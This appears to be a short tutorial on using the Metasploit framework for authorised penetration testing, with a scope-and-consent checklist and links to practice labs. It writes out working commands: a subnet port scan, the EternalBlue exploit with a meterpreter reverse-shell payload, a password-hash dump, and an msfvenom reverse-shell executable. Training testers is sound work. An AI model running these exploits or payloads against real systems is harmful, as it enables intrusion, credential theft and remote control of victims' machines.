Metasploit for Ethical Penetration Testing

Introduction to Metasploit

Metasploit is an open-source penetration testing framework that enables security professionals to identify, exploit, and validate vulnerabilities in systems and networks. Developed by Rapid7, it provides a comprehensive suite of tools for ethical hackers to simulate real-world attacks in a controlled environment.

Key Features of Metasploit

• Exploit Database: Over 2,000 exploits for various platforms and applications.
• Payloads: Customizable payloads for remote access, privilege escalation, and more.
• Modules: Auxiliary, post-exploitation, and encoder modules for diverse tasks.
• Integration: Compatibility with tools like Nmap, Burp Suite, and Nessus.
• Community Support: Active community and regular updates.

Risk and Responsibility

Setting Up Metasploit for Ethical Testing

Installation

Metasploit can be installed on Linux, Windows, or macOS. For Linux (Kali or Ubuntu), use the following commands:

# Update system and install Metasploit
sudo apt update && sudo apt install metasploit-framework

# Initialize the database
sudo msfdb init

Basic Workflow

The typical Metasploit workflow includes:

1. Information Gathering
2. Vulnerability Scanning
3. Exploit Selection
4. Payload Configuration
5. Post-Exploitation

Practical Penetration Testing with Metasploit

STEP 1: Scanning and Enumeration

Use auxiliary modules to identify open ports and services:

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set THREADS 10
run

STEP 2: Selecting and Configuring Exploits

Search for exploits based on identified vulnerabilities:

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

STEP 3: Post-Exploitation

Once access is gained, use post-exploitation modules:

use post/windows/gather/hashdump
set SESSION 1
run

STEP 4: Reporting

Generate professional reports to document findings:

db_export -f xml -o report.xml
# Use external tools like Dradis for formatted reports

Advanced Techniques

Custom Payloads

Create custom payloads using msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o payload.exe

Metasploit with Other Tools

Integrate Metasploit with Nmap for enhanced scanning:

nmap -sV -oX nmap_output.xml 192.168.1.0/24
db_import nmap_output.xml

Best Practices for Ethical Use

• Scope Definition: Clearly define the scope of testing.
• Permission: Always obtain written consent.
• Documentation: Log all actions and findings.
• Minimize Impact: Avoid disrupting production systems.
• Responsible Disclosure: Report vulnerabilities promptly.

Practice Environments

Vulnerable Labs:

# Metasploitable 3
docker run --rm -it -p 80:80 vulnerables/metasploitable3

# TryHackMe
https://tryhackme.com/room/metasploit

Additional Resources

• Metasploit Documentation
• Metasploit Unleashed
• Metasploit GitHub Repository